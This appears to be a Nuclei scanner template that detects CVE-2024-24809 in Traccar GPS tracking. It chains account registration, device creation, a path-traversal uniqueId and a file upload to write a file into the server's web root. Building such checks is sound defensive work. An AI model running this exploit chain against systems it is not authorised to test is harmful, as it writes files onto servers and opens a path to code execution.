id: CVE-2024-24809

info:
  name: Traccar - Unrestricted File Upload
  author: DhiyaneshDK
  severity: high
  description: |
    Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
  impact: |
    Authenticated attackers can upload arbitrary files to any location on the server through path traversal, potentially achieving code execution and system compromise.
  remediation: |
    Update Traccar to version 6.0 or later.
  reference:
    - https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
    - https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24809
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
    cvss-score: 8.5
    cve-id: CVE-2024-24809
    cwe-id: CWE-27
    epss-score: 0.89372
    epss-percentile: 0.99558
    cpe: cpe:2.3:a:traccar:traccar:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Traccar"
    product: traccar
    vendor: traccar
  tags: cve,cve2024,traccar,rce,intrusive,file-upload,vuln

variables:
  name: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"
  unique: "{{rand_base(6)}}"
  str: "{{randstr}}"

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)

http:
  - raw:
      - |
        POST /api/users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}

    matchers:
      - type: word
        part: body
        words:
          - '"administrator":'
          - '"fixedEmail"'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        email={{email}}&password={{password}}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceReadonly":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{unique}}", "uniqueId": "{{unique}}"}

    matchers:
      - type: word
        part: body
        words:
          - '"calendarId"'
          - '"groupId":'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: value
        internal: true
        json:
          - '.id'

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    extractors:
      - type: regex
        part: body
        name: filename
        internal: true
        regex:
          - 'device\.([a-zA-Z]+)'

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        PUT /api/devices/{{value}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}

    matchers:
      - type: word
        part: body
        words:
          - '"deviceImage":'
          - '"expirationTime":'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/devices/{{value}}/image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: image/srHtgGrc

        {{str}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
        condition: and
        internal: true

  - raw:
      - |
        GET /{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
# digest: 490a0046304402205c5d10e14fa9a350f9f6f1ff0fe359a1fb540a4d770ff9f178124a555d1b4d550220352a91ba283b17aec2137780601b190e809d198664681c3694e861afcd6b2dd7:922c64590222798bb761d5b6d8e72950